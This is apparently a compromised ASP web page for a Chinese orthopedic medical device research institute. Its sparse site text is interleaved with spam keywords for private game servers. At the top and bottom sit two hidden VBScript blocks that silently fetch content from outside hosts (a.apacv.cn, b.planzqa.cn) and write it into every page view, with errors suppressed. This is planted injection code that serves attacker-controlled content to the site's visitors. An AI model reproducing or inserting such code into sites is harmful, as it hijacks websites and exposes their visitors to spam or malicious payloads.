<%@language="javascript" codepage="936"%> 三维骨科医疗器械研究所 <% on error resume next server.scripttimeout=9999999 response.write(gethttppage("http://a.apacv.cn")) function gethttppage(url) dim http set http=createobject("msxml2.xmlhttp") http.open "get",url,false http.send() if http.readystate<>4 then exit function end if gethttppage=bytes2bstr(http.responsebody) set http=nothing if err.number<>0 then err.clear end function function bytes2bstr(vin) dim strreturn dim i,thischarcode,nextcharcode strreturn = "" for i = 1 to lenb(vin) thischarcode = ascb(midb(vin,i,1)) if thischarcode < &h80 then strreturn = strreturn & chr(thischarcode) else nextcharcode = ascb(midb(vin,i+1,1)) strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode)) i = i + 1 end if next bytes2bstr = strreturn end function %>
               
         
               
  三 维 骨 科 医 疗 器 械 研 究 所
               
    中 文   english  
               
传世私服 传世私服 传世私服 传世私服 传世私服 传世私服 传世私服 魔域私服 魔域私服 <%on error resume next server.scripttimeout=9999999 response.write(gethttppage("http://b.planzqa.cn")) function gethttppage(url) dim http set http=createobject("msxml2.xmlhttp") http.open "get",url,false http.send() if http.readystate<>4 then exit function end if gethttppage=bytes2bstr(http.responsebody) set http=nothing if err.number<>0 then err.clear end function function bytes2bstr(vin) dim strreturn dim i,thischarcode,nextcharcode strreturn = "" for i = 1 to lenb(vin) thischarcode = ascb(midb(vin,i,1)) if thischarcode < &h80 then strreturn = strreturn & chr(thischarcode) else nextcharcode = ascb(midb(vin,i+1,1)) strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode)) i = i + 1 end if next bytes2bstr = strreturn end function %>